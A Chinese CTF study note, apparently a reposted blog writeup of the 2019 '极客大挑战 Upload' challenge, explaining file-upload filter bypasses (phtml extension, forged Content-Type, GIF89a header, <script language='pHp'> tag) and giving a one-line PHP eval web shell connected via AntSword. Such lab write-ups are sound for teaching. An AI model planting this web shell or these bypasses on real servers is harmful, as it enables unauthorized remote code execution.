CTF学习笔记——Upload

一、[极客大挑战 2019]Upload

1.题目

在这里插入图片描述

2.解题步骤

目测可以上传图片,先随便上传一个图片试试
在这里插入图片描述
既然可以上传文件,试试挂马
在这里插入图片描述
在这里插入图片描述
并不管用。
看WP
原来是之前图片有问题,实际上是可以上传成功的
在这里插入图片描述
从这里可以分析出,靶机的文件上传没有问题,有问题的是文件,也就是说会对上传的进行过滤,也就是说为什么刚刚的大马没有挂上。
但是刚刚为什么图片也不能上传呢,找了另外一个就可以上传?猜测是文件大小的问题,但实际测试下来并不是,有的可以有的会报错。
这里摘一个师傅的WP的一句话:一般检查的地方有:后缀名、content-type、文件头的部分内容。[1]在这里插入图片描述
如何理解这句话呢?后缀名这个好理解,无非是php,jpg,png之类的。那什么是content-type呢?

Content-Type(内容类型),一般是指网页中存在的,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,这就是经常看到一些 PHP 网页点击的结果却是下载一个文件或一张图片的原因。

这个之前在请求头里看见过,没太注意。那么在这个文件上传的题中,想要绕过Content-Type的检查,就需要在burp中修改请求。
最后一个文件头检查。这个也好理解,先检查你文件的文件头,比如JPG的是FFD8FF。

回到这道题。思路很清晰,我们要上传一个木马,比如说一句话,然后再用蚁剑链接。

首先是文件后缀绕过,我们可以把马的后缀改成php5,Php,phtml,pht等等。
其次是Content-Type,需要改成image/jpeg等。
最后是文件头绕过,但是师傅们特别爱用GIF89a这个来当GIF绕过,姑且试试吧~
在这里插入图片描述
测试发现不能使用php5后缀。多次测试后发现可以使用phtml。
在这里插入图片描述
检测到了php中的<?。
这里百度了以下<?的绕过方式,可以采用<script 代替。重新构造payload。

GIF89a<script language="pHp">@eval($_POST['shell']) </script>

在这里插入图片描述
上传成功,这回拿蚁剑连接
(注意文件在upload下面,不在根目录下面。都快做出来了还将我以下是没想到的)
在这里插入图片描述
访问根目录下的flag即可
在这里插入图片描述

3.总结
  1. 熟悉了文件上传的几个绕过点,学会了几种常见的绕过方式。
  2. 上传文件都习惯放在upload目录下,这个小坑记住了。
4.参考资料

猜你喜欢

转载自blog.csdn.net/Obs_cure/article/details/111138442
今日推荐